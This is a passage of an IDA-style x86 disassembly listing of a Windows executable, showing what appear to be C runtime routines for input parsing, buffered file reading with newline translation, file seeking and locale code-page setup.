loc_41E06B ; --------------------------------------------------------------------------- loc_41E05E: ; CODE XREF: sub_41D797+8B6j mov eax, off_4395A0 mov al, [eax+ebx*2] and eax, 80h loc_41E06B: ; CODE XREF: sub_41D797+8C5j test eax, eax jz short loc_41E0A6 push ebx shl edi, 4 call sub_41E1BC mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41E07E: ; CODE XREF: sub_41D797+8A6j ; sub_41D797+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41E090 dec [ebp+var_C] jz short loc_41E0B4 loc_41E090: ; CODE XREF: sub_41D797+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41E1F3 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41E002 ; --------------------------------------------------------------------------- loc_41E0A6: ; CODE XREF: sub_41D797+897j ; sub_41D797+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41E20D pop ecx pop ecx loc_41E0B4: ; CODE XREF: sub_41D797+865j ; sub_41D797+8F7j cmp [ebp+var_17], 0 jz short loc_41E0BC neg edi loc_41E0BC: ; CODE XREF: sub_41D797+843j ; sub_41D797+85Cj ... cmp esi, 46h jnz short loc_41E0C5 and [ebp+var_1C], 0 loc_41E0C5: ; CODE XREF: sub_41D797+928j cmp [ebp+var_1C], 0 jz loc_41E19D cmp [ebp+var_E], 0 jnz short loc_41E0FE inc [ebp+var_34] loc_41E0D8: ; CODE XREF: sub_41D797+23Bj cmp [ebp+var_30], 0 jz short loc_41E0EE mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0EE: ; CODE XREF: sub_41D797+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41E0FB mov [eax], edi jmp short loc_41E0FE ; --------------------------------------------------------------------------- loc_41E0FB: ; CODE XREF: sub_41D797+95Ej mov [eax], di loc_41E0FE: ; CODE XREF: sub_41D797+241j ; sub_41D797+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41E14B ; --------------------------------------------------------------------------- loc_41E109: ; CODE XREF: sub_41D797+93j inc [ebp+var_4] push edi call sub_41E1F3 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41E178 mov ecx, off_4395A0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41E14B inc [ebp+var_4] push edi call sub_41E1F3 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41E186 dec [ebp+var_4] loc_41E14B: ; CODE XREF: sub_41D797+970j ; sub_41D797+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E161 cmp byte ptr [esi], 25h jnz short loc_41E1A3 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41E1A3 mov esi, eax loc_41E161: ; CODE XREF: sub_41D797+9B8j mov al, [esi] test al, al jnz loc_41D7C1 jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E16D: ; CODE XREF: sub_41D797+1F4j ; sub_41D797+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41E17D ; --------------------------------------------------------------------------- loc_41E178: ; CODE XREF: sub_41D797+98Aj dec [ebp+var_4] push edi push ebx loc_41E17D: ; CODE XREF: sub_41D797+9DFj call sub_41E20D pop ecx pop ecx jmp short loc_41E19D ; --------------------------------------------------------------------------- loc_41E186: ; CODE XREF: sub_41D797+9AFj dec [ebp+var_4] push edi push eax call sub_41E20D dec [ebp+var_4] push edi push ebx call sub_41E20D add esp, 10h loc_41E19D: ; CODE XREF: sub_41D797+1Fj ; sub_41D797+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41E1B4 loc_41E1A3: ; CODE XREF: sub_41D797+9BDj ; sub_41D797+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41E1B7 cmp [ebp+var_15], al jnz short loc_41E1B7 or eax, 0FFFFFFFFh jmp short loc_41E1B7 ; --------------------------------------------------------------------------- loc_41E1B4: ; CODE XREF: sub_41D797+A0Aj mov eax, [ebp+var_34] loc_41E1B7: ; CODE XREF: sub_41D797+A11j ; sub_41D797+A16j ... pop edi pop esi pop ebx leave retn sub_41D797 endp ; =============== S U B R O U T I N E ======================================= sub_41E1BC proc near ; CODE XREF: sub_41D797+7A3p ; sub_41D797+8DCp arg_0 = dword ptr 4 cmp dword_4397AC, 1 push esi jle short loc_41E1D6 mov esi, [esp+4+arg_0] push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41E1E5 ; --------------------------------------------------------------------------- loc_41E1D6: ; CODE XREF: sub_41E1BC+8j mov esi, [esp+4+arg_0] mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_41E1E5: ; CODE XREF: sub_41E1BC+18j test eax, eax jnz short loc_41E1EF and esi, 0FFFFFFDFh sub esi, 7 loc_41E1EF: ; CODE XREF: sub_41E1BC+2Bj mov eax, esi pop esi retn sub_41E1BC endp ; =============== S U B R O U T I N E ======================================= sub_41E1F3 proc near ; CODE XREF: sub_41D797+1E1p ; sub_41D797+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41E205 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41E205: ; CODE XREF: sub_41E1F3+7j push edx call sub_41E248 pop ecx retn sub_41E1F3 endp ; =============== S U B R O U T I N E ======================================= sub_41E20D proc near ; CODE XREF: sub_41D797+6Bp ; sub_41D797+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41E223 push [esp+arg_4] push [esp+4+arg_0] call sub_420FAF pop ecx pop ecx locret_41E223: ; CODE XREF: sub_41E20D+5j retn sub_41E20D endp ; =============== S U B R O U T I N E ======================================= sub_41E224 proc near ; CODE XREF: sub_41D797+63p ; sub_41D797+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41E22A: ; CODE XREF: sub_41E224+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41E1F3 mov edi, eax push edi call sub_420F60 pop ecx test eax, eax pop ecx jnz short loc_41E22A mov eax, edi pop edi pop esi retn sub_41E224 endp ; =============== S U B R O U T I N E ======================================= sub_41E248 proc near ; CODE XREF: sub_418A86+A9p ; sub_41900C+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41E31C test al, 40h jnz loc_41E31C test al, 2 jz short loc_41E26E or al, 20h mov [esi+0Ch], eax jmp loc_41E31C ; --------------------------------------------------------------------------- loc_41E26E: ; CODE XREF: sub_41E248+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41E282 push esi call sub_41F9D8 pop ecx jmp short loc_41E287 ; --------------------------------------------------------------------------- loc_41E282: ; CODE XREF: sub_41E248+2Fj mov eax, [esi+8] mov [esi], eax loc_41E287: ; CODE XREF: sub_41E248+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41E30B cmp eax, 0FFFFFFFFh jz short loc_41E30B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41E2E0 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41E2C9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_48B340[edi*4] lea edi, [edi+ecx*8] jmp short loc_41E2CE ; --------------------------------------------------------------------------- loc_41E2C9: ; CODE XREF: sub_41E248+6Bj mov edi, offset dword_43BC20 loc_41E2CE: ; CODE XREF: sub_41E248+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41E2E0 or dh, 20h mov [esi+0Ch], edx loc_41E2E0: ; CODE XREF: sub_41E248+62j ; sub_41E248+90j cmp dword ptr [esi+18h], 200h jnz short loc_41E2FD mov ecx, [esi+0Ch] test cl, 8 jz short loc_41E2FD test ch, 4 jnz short loc_41E2FD mov dword ptr [esi+18h], 1000h loc_41E2FD: ; CODE XREF: sub_41E248+9Fj ; sub_41E248+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E30B: ; CODE XREF: sub_41E248+55j ; sub_41E248+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41E31C: ; CODE XREF: sub_41E248+Aj ; sub_41E248+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41E248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E321 proc near ; CODE XREF: sub_418A86+90p ; sub_41E248+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_48B440 jnb loc_41E4FE mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:48B340h[eax*4] mov eax, dword_48B340[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41E4FE and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41E3D6 test dl, 2 jnz short loc_41E3D6 test dl, 48h jz short loc_41E396 mov al, [eax+5] cmp al, 0Ah jz short loc_41E396 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41E396: ; CODE XREF: sub_41E321+56j ; sub_41E321+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2610000h test eax, eax jnz short loc_41E3E9 call near ptr 2630B7Ah nop push 5 pop ecx cmp eax, ecx jnz short loc_41E3D1 mov dword_48A014, 9 mov dword_48A018, ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3D1: ; CODE XREF: sub_41E321+99j cmp eax, 6Dh jnz short loc_41E3DD loc_41E3D6: ; CODE XREF: sub_41E321+4Cj ; sub_41E321+51j xor eax, eax jmp loc_41E512 ; --------------------------------------------------------------------------- loc_41E3DD: ; CODE XREF: sub_41E321+B3j push eax call sub_41EF44 pop ecx jmp loc_41E50F ; --------------------------------------------------------------------------- loc_41E3E9: ; CODE XREF: sub_41E321+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41E4F9 test edx, edx jz short loc_41E40E cmp byte ptr [edi], 0Ah jnz short loc_41E40E or al, 4 jmp short loc_41E410 ; --------------------------------------------------------------------------- loc_41E40E: ; CODE XREF: sub_41E321+E2j ; sub_41E321+E7j and al, 0FBh loc_41E410: ; CODE XREF: sub_41E321+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41E4F3 loc_41E428: ; CODE XREF: sub_41E321+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41E4E3 cmp al, 0Dh jz short loc_41E444 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E444: ; CODE XREF: sub_41E321+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41E462 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41E459 add [ebp+arg_8], 2 jmp short loc_41E4B7 ; --------------------------------------------------------------------------- loc_41E459: ; CODE XREF: sub_41E321+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E462: ; CODE XREF: sub_41E321+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2610000h nop test eax, eax jnz short loc_41E48A nop call near ptr 2630B7Ah test eax, eax jnz short loc_41E4D1 loc_41E48A: ; CODE XREF: sub_41E321+15Dj cmp [ebp+var_C], 0 jz short loc_41E4D1 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41E4AC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41E4B7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41E4D5 ; --------------------------------------------------------------------------- loc_41E4AC: ; CODE XREF: sub_41E321+176j cmp edi, [ebp+arg_4] jnz short loc_41E4BC cmp [ebp+var_1], 0Ah jnz short loc_41E4BC loc_41E4B7: ; CODE XREF: sub_41E321+136j ; sub_41E321+17Dj mov byte ptr [edi], 0Ah jmp short loc_41E4D4 ; --------------------------------------------------------------------------- loc_41E4BC: ; CODE XREF: sub_41E321+18Ej ; sub_41E321+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41E517 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41E4D5 loc_41E4D1: ; CODE XREF: sub_41E321+167j ; sub_41E321+16Dj mov byte ptr [edi], 0Dh loc_41E4D4: ; CODE XREF: sub_41E321+199j inc edi loc_41E4D5: ; CODE XREF: sub_41E321+11Ej ; sub_41E321+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41E428 jmp short loc_41E4F3 ; --------------------------------------------------------------------------- loc_41E4E3: ; CODE XREF: sub_41E321+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41E4F3 or al, 2 mov [esi], al loc_41E4F3: ; CODE XREF: sub_41E321+101j ; sub_41E321+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41E4F9: ; CODE XREF: sub_41E321+DAj mov eax, [ebp+var_8] jmp short loc_41E512 ; --------------------------------------------------------------------------- loc_41E4FE: ; CODE XREF: sub_41E321+12j ; sub_41E321+39j and dword_48A018, 0 mov dword_48A014, 9 loc_41E50F: ; CODE XREF: sub_41E321+ABj ; sub_41E321+C3j or eax, 0FFFFFFFFh loc_41E512: ; CODE XREF: sub_41E321+B7j ; sub_41E321+1DBj pop edi pop esi pop ebx leave retn sub_41E321 endp ; =============== S U B R O U T I N E ======================================= sub_41E517 proc near ; CODE XREF: sub_418D0E+67p ; sub_419D23+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_48B440 push esi push edi jnb short loc_41E599 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:48B340h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41E599 push eax call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E55B mov dword_48A014, 9 jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E55B: ; CODE XREF: sub_41E517+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax nop call near ptr 26B0000h mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41E57B nop call near ptr 2630B7Ah jmp short loc_41E57D ; --------------------------------------------------------------------------- loc_41E57B: ; CODE XREF: sub_41E517+5Aj xor eax, eax loc_41E57D: ; CODE XREF: sub_41E517+62j test eax, eax jz short loc_41E58A push eax call sub_41EF44 pop ecx jmp short loc_41E5AA ; --------------------------------------------------------------------------- loc_41E58A: ; CODE XREF: sub_41E517+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41E5AD ; --------------------------------------------------------------------------- loc_41E599: ; CODE XREF: sub_41E517+Dj ; sub_41E517+2Aj and dword_48A018, 0 mov dword_48A014, 9 loc_41E5AA: ; CODE XREF: sub_41E517+42j ; sub_41E517+71j or eax, 0FFFFFFFFh loc_41E5AD: ; CODE XREF: sub_41E517+80j pop edi pop esi pop ebx retn sub_41E517 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E5B1 proc near ; CODE XREF: sub_418D0E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41E5CD mov [edi+4], ebx loc_41E5CD: ; CODE XREF: sub_41E5B1+17j push 1 push ebx push esi call sub_41E517 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41E63B mov edx, [edi+0Ch] test dx, 108h jnz short loc_41E5F2 sub eax, [edi+4] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E5F2: ; CODE XREF: sub_41E5B1+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41E62C mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_48B340[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41E643 mov edx, ecx loc_41E61D: ; CODE XREF: sub_41E5B1+79j cmp edx, eax jnb short loc_41E643 cmp byte ptr [edx], 0Ah jnz short loc_41E629 inc [ebp+var_8] loc_41E629: ; CODE XREF: sub_41E5B1+73j inc edx jmp short loc_41E61D ; --------------------------------------------------------------------------- loc_41E62C: ; CODE XREF: sub_41E5B1+50j test dl, 80h jnz short loc_41E643 mov dword_48A014, 16h loc_41E63B: ; CODE XREF: sub_41E5B1+2Dj or eax, 0FFFFFFFFh jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E643: ; CODE XREF: sub_41E5B1+68j ; sub_41E5B1+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41E651 mov eax, [ebp+var_8] jmp loc_41E704 ; --------------------------------------------------------------------------- loc_41E651: ; CODE XREF: sub_41E5B1+96j test byte ptr [edi+0Ch], 1 jz loc_41E6FC mov edx, [edi+4] test edx, edx jnz short loc_41E66A and [ebp+var_8], edx jmp loc_41E6FC ; --------------------------------------------------------------------------- loc_41E66A: ; CODE XREF: sub_41E5B1+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41E6F6 push 2 push 0 push [ebp+var_C] call sub_41E517 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41E6BD mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41E6A8: ; CODE XREF: sub_41E5B1+104j cmp eax, ecx jnb short loc_41E6B7 cmp byte ptr [eax], 0Ah jnz short loc_41E6B4 inc [ebp+arg_0] loc_41E6B4: ; CODE XREF: sub_41E5B1+FEj inc eax jmp short loc_41E6A8 ; --------------------------------------------------------------------------- loc_41E6B7: ; CODE XREF: sub_41E5B1+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41E6F1 ; --------------------------------------------------------------------------- loc_41E6BD: ; CODE XREF: sub_41E5B1+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41E517 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41E6E4 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41E6E4 test ch, 4 jz short loc_41E6E7 loc_41E6E4: ; CODE XREF: sub_41E5B1+124j ; sub_41E5B1+12Cj mov eax, [edi+18h] loc_41E6E7: ; CODE XREF: sub_41E5B1+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41E6F1: ; CODE XREF: sub_41E5B1+10Aj jz short loc_41E6F6 inc [ebp+arg_0] loc_41E6F6: ; CODE XREF: sub_41E5B1+D9j ; sub_41E5B1:loc_41E6F1j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41E6FC: ; CODE XREF: sub_41E5B1+A4j ; sub_41E5B1+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41E704: ; CODE XREF: sub_41E5B1+3Cj ; sub_41E5B1+8Dj ... pop edi pop esi pop ebx leave retn sub_41E5B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E709 proc near ; CODE XREF: sub_419063+47p ; sub_419063+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4248E0 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_48A0C0, edi jnz short loc_41E77F push edi push edi push 1 pop ebx push ebx push offset dword_4248D8 mov esi, 100h push esi push edi nop call near ptr 2860000h test eax, eax jz short loc_41E75D mov dword_48A0C0, ebx jmp short loc_41E77F ; --------------------------------------------------------------------------- loc_41E75D: ; CODE XREF: sub_41E709+4Aj push edi push edi push ebx push offset dword_43C824 push esi push edi nop call near ptr 2850000h test eax, eax jz loc_41E897 mov dword_48A0C0, 2 loc_41E77F: ; CODE XREF: sub_41E709+2Ej ; sub_41E709+52j cmp [ebp+arg_C], edi jle short loc_41E794 push [ebp+arg_C] push [ebp+arg_8] call sub_422467 pop ecx pop ecx mov [ebp+arg_C], eax loc_41E794: ; CODE XREF: sub_41E709+79j mov eax, dword_48A0C0 cmp eax, 2 jnz short loc_41E7BB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2850000h jmp loc_41E899 ; --------------------------------------------------------------------------- loc_41E7BB: ; CODE XREF: sub_41E709+93j cmp eax, 1 jnz loc_41E897 cmp [ebp+arg_18], edi jnz short loc_41E7D1 mov eax, dword_48A0B8 mov [ebp+arg_18], eax loc_41E7D1: ; CODE XREF: sub_41E709+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2600000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41E897 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E82C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41E82C: ; CODE XREF: sub_41E709+10Ej cmp [ebp+var_24], edi jz short loc_41E897 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call near ptr 2600000h nop test eax, eax jz short loc_41E897 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2860000h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41E897 test byte ptr [ebp+arg_4+1], 4 jz short loc_41E8AB cmp [ebp+arg_14], edi jz loc_41E926 cmp esi, [ebp+arg_14] jg short loc_41E897 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2860000h nop test eax, eax jnz loc_41E926 loc_41E897: ; CODE XREF: sub_41E709+66j ; sub_41E709+B5j ... xor eax, eax loc_41E899: ; CODE XREF: sub_41E709+ADj ; sub_41E709+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41E8AB: ; CODE XREF: sub_41E709+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E8DF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41E8DF: ; CODE XREF: sub_41E709+1C2j cmp ebx, edi jz short loc_41E897 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2860000h nop test eax, eax jz short loc_41E897 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41E906 push edi push edi jmp short loc_41E90C ; --------------------------------------------------------------------------- loc_41E906: ; CODE XREF: sub_41E709+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41E90C: ; CODE XREF: sub_41E709+1FBj push esi push ebx push 220h push [ebp+arg_18] nop call near ptr 2790000h mov esi, eax cmp esi, edi jz loc_41E897 loc_41E926: ; CODE XREF: sub_41E709+165j ; sub_41E709+188j mov eax, esi jmp loc_41E899 sub_41E709 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E92D proc near ; CODE XREF: sub_41ECF1+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41EAC6 mov esi, eax pop ecx cmp esi, dword_48B444 mov [ebp+arg_0], esi jz loc_41EABA xor ebx, ebx cmp esi, ebx jz loc_41EAB0 xor edx, edx mov eax, offset dword_43B940 loc_41E961: ; CODE XREF: sub_41E92D+41j cmp [eax], esi jz short loc_41E9D7 add eax, 30h inc edx cmp eax, offset dword_43BA30 jl short loc_41E961 lea eax, [ebp+var_18] push eax push esi nop call near ptr 28612B7h cmp eax, 1 jnz loc_41EAA8 push 40h xor eax, eax pop ecx mov edi, offset byte_48B560 cmp [ebp+var_18], 1 mov dword_48B444, esi rep stosd stosb mov dword_48B664, ebx jbe loc_41EA96 cmp [ebp+var_12], 0 jz loc_41EA6C lea ecx, [ebp+var_11] loc_41E9B4: ; CODE XREF: sub_41E92D+139j mov dl, [ecx] test dl, dl jz loc_41EA6C movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41E9C5: ; CODE XREF: sub_41E92D+A8j cmp eax, edx ja loc_41EA60 or byte_48B561[eax], 4 inc eax jmp short loc_41E9C5 ; --------------------------------------------------------------------------- loc_41E9D7: ; CODE XREF: sub_41E92D+36j push 40h xor eax, eax pop ecx mov edi, offset byte_48B560 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43B950[esi] loc_41E9F3: ; CODE XREF: sub_41E92D+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41EA26 loc_41E9FA: ; CODE XREF: sub_41E92D+F7j mov dl, [ecx+1] test dl, dl jz short loc_41EA26 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41EA1F mov edx, [ebp+var_4] mov dl, byte_43B938[edx] loc_41EA14: ; CODE XREF: sub_41E92D+F0j or byte_48B561[eax], dl inc eax cmp eax, edi jbe short loc_41EA14 loc_41EA1F: ; CODE XREF: sub_41E92D+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41E9FA loc_41EA26: ; CODE XREF: sub_41E92D+CBj ; sub_41E92D+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41E9F3 mov eax, [ebp+arg_0] mov dword_48B45C, 1 push eax mov dword_48B444, eax call sub_41EB10 lea esi, dword_43B944[esi] mov edi, offset dword_48B450 movsd movsd pop ecx mov dword_48B664, eax movsd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA60: ; CODE XREF: sub_41E92D+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41E9B4 loc_41EA6C: ; CODE XREF: sub_41E92D+7Ej ; sub_41E92D+8Bj push 1 pop eax loc_41EA6F: ; CODE XREF: sub_41E92D+14Fj or byte_48B561[eax], 8 inc eax cmp eax, 0FFh jb short loc_41EA6F push esi call sub_41EB10 pop ecx mov dword_48B664, eax mov dword_48B45C, 1 jmp short loc_41EA9C ; --------------------------------------------------------------------------- loc_41EA96: ; CODE XREF: sub_41E92D+74j mov dword_48B45C, ebx loc_41EA9C: ; CODE XREF: sub_41E92D+167j xor eax, eax mov edi, offset dword_48B450 stosd stosd stosd jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EAA8: ; CODE XREF: sub_41E92D+51j cmp dword_48A0C4, ebx jz short loc_41EABE loc_41EAB0: ; CODE XREF: sub_41E92D+27j call sub_41EB43 loc_41EAB5: ; CODE XREF: sub_41E92D+131j ; sub_41E92D+179j call sub_41EB6C 